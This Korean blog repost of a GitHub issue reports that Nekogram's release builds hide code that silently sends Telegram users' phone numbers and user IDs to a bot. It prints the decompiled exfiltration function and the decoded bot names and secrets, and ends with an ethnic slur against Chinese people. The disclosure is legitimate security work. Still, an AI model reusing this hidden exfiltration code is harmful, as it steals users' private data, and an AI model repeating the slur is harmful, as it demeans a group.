Steps to reproduce Install and login to your telegram account Now your phone number belongs to Xi Jinping... jk. to Nekogram creator Expected behaviour Not leaking phone numbers Actual behaviour Ma...
github.com
번식 단계
텔레그램 계정을 설치하고 로그인하세요
이제 네 전화번호는 시진핑 소유야... 농담이에요. 네코그램 창작자에게.
예상 행동
전화번호 유출 안 돼
실제 행동
릴리스 바이너리에서의 악성 코드 주입 및 사용자 데이터 유출
공식 릴리스 바이너리에 대한 역설계 분석 후 (. 이 저장소와 README(공식 텔레그램 채널, 웹사이트, 구글 플레이)의 관련 링크를 통해 배포된 후, 사용자 동의 없이 사용자 민감 데이터(전화번호 및 관련 사용자 ID)를 제3자 텔레그램 봇(앱 소유자에 의해)으로 유출하는 악성 코드를 발견했습니다.
참고: 이 데이터 추출 로직의 소스 코드가 공개된 GitHub 저장소에 누락되어 있어, 개발자가 릴리스 빌드 과정에서 악성 코드를 주입하고 있음을 보여줍니다.
기술 부문
어떤 자바 디컴파일러(저는 JADX를 사용했어요)를 사용해보면 릴리스가 난독화되어 있다는 것을 알 수 있습니다. 큰 문제는 아니에요, 원래 메인 텔레그램 코드가 열려 있으니까요. 저장소
에는 Extra.java.example 파일이 있습니다. APP_ID, APP_HASH 및 기타 민감한 앱 정보를 저장하는 데 사용됩니다. 릴리스 빌드
에서는 이 파일이 원본 소스와 다르며, 특히 메서드(Extra 클래스이지만 이름이 난독화됨)를 추가하는 추가 코드가 있습니다.defpackage.uo5.g()uo5
최신 릴리스의 파일을 보여줍니다6a51ee4af00195cf9180e587a53645ae38f8edc5a4a66c1ba166119e8b1b38e5Nekogram-12.5.2-6597-arm64-v8a.apk
그래서 클래스, 변수, 메서드 이름을 수정해서 이런 결과가 나왔습니다:
/* JADX DEBUG: Don't trust debug lines info. Lines numbers was adjusted: min line is 1 */ public static void g() { TLRPC.User currentUser; String phoneNumber; try { if (isFunctionWasCalled) { return; } isFunctionWasCalled = true; HashMap mapWithAccounts = new HashMap(); for (int i2 = 0; i2 < 8; i2++) { UserConfig userConfig = UserConfig.getInstance(i2); if (userConfig.A() && (currentUser = userConfig.o()) != null && (phoneNumber = currentUser.phoneNumber) != null) { mapWithAccounts.put(String.valueOf(currentUser.userId), phoneNumber); } } InlineBotHelper.getInstance(UserConfig.selectedAccount).Query(BotHelper, WS_CONN_HASH + classWithString.DecodeWithEncString(-7227028227871466228L) + BaseRemoteHelper.GSON.toJson(mapWithAccounts), new Utilities.b() { // from class: pi6 /* JADX DEBUG: Don't trust debug lines info. Lines numbers was adjusted: min line is 1 */ @Override // org.telegram.messenger.Utilities.b public final void a(Object obj, Object obj2) { qi6.a((ArrayList) obj, (String) obj2); } }); } catch (Exception unused) { } }
확인할 수 있습니다: 코드는 클라이언트에 로그인된 모든 텔레그램 계정(최대 8개 계정)을 반복하여 사용자 ID - 전화번호의 JSON 맵> 생성합니다. 수집
된 데이터는 인라인 쿼리로 봇 핸들러에 전송됩니다. 이 방법은 침묵 = 사용자의 채팅 기록에 나타나지 않는다는 점에서 특별히 사용됩니다. 봇을 시작하지 않고도 사용할 수 있습니다.
타겟 봇: (ID @nekonotificationbot1190800416)
비밀 열쇠: 741ad28818eab17668bc2c70bd419fc25ff56481758a4ac87e7ca164fb6ae1b1
방법: InlineBotHelper.Query(...)
마지막으로 추출된 문자열은 다음과 같습니다:
741ad2...ae1b1{"123456789": "+79001234567", ...}
DecodeWithEncString 또한 여러 차례 사용된 맞춤형 복호화 도구(난독화된 코드로 재작성됨)를 사용해 다음과 같은 숨겨진 상수를 드러낼 수 있습니다:
|
신분증 |
복호화된 값 |
배경 |
|
-7227028090432512756 |
873ffaceba76e****4a3cdb49 |
APP_HASH |
|
-7227027407532712692 |
55***06 |
APP_ID |
|
-7227026067502916340 |
nekonotificationbot |
메인 탈출 봇 |
|
-7227026153402262260 |
tgdb_search_bot |
언급된 OSINT 봇 |
|
-7227025642301154036 |
usinfobot |
언급된 OSINT 봇 |
|
-7227027729655259892 |
741ad2...ae1b1 |
공유 비밀 / 해시 |
함수가 호출되는 시점은 언제인가요?g()
몇몇 영상 증명과 PoC 스크립트(감사합니다))
함수가 호출된 곳: https://t.me/NekoChat/619421(참고로 Play 스토어 버전입니다)
https://github.com/RomashkaTea/nekogram-proof-of-loggingg()
플레이 스토어(구글 플레이) 버전
구글 플레이 버전에도 이 악성 코드가 포함되어 있으므로, Play Protect가 모든 사용자 기기에서 앱을 비활성화하고 표시할 수 있도록 신고하는 것이 매우 중요합니다. (확인해줘서 고마 워요)
https://support.google.com/googleplay/android-developer/contact/takedown - 삭제 페이지
https://play.google.com/store/apps/details?id=tw.nekomimi.nekogram - 플레이 스토어의 앱, 여기서도 신고할 수 있습니다
이 문제를 언급하려면 댓글을 참고하세요
결론
Nekogram 클라이언트는 개인 사용자 데이터(전화번호와 관련 사용자 ID)를 조용히 업로드합니다. 이 동작은 강한 난독화 뒤에 숨겨져 있으며, 정상 앱 실행 중 자동으로 트리거됩니다.@nekonotificationbot
분석이 포함된 웹사이트
감사의 글
https://t.me/sotaproject/111209
https://t.me/pvxblog/3746?comment=397889
https://t.me/NekoChat/619146 - 클로드 코드 아아아 공략
https://t.me/pvxblog/3746?comment=397816 (숨겨진 상수
난독화 코드 https://t.me/NekoChat - 네코그램 채팅
네코그램 버전
12.5.2, 아마도 예전 바이너리도 영향을 받을 수 있습니다
안드로이드 버전
어떤
요약하면 짱꺠가 nekogram에 백도어를 심어놓았습니다..
그럼 이녀석을 위한 아카이브
t.me/fangliye_archive
여태까지 nekogram 을 당장 지우는걸 추천합니다.
남은 대체제
지금 텔레그램이 한국어 번호로하면
sms fee를 내라고하는데, 이 우회방법은 지금은 구버전사용말고 잘모르겠습니다.
찾으면 올리겠습니다.
원본: 네이버 블로그
댓글
댓글 쓰기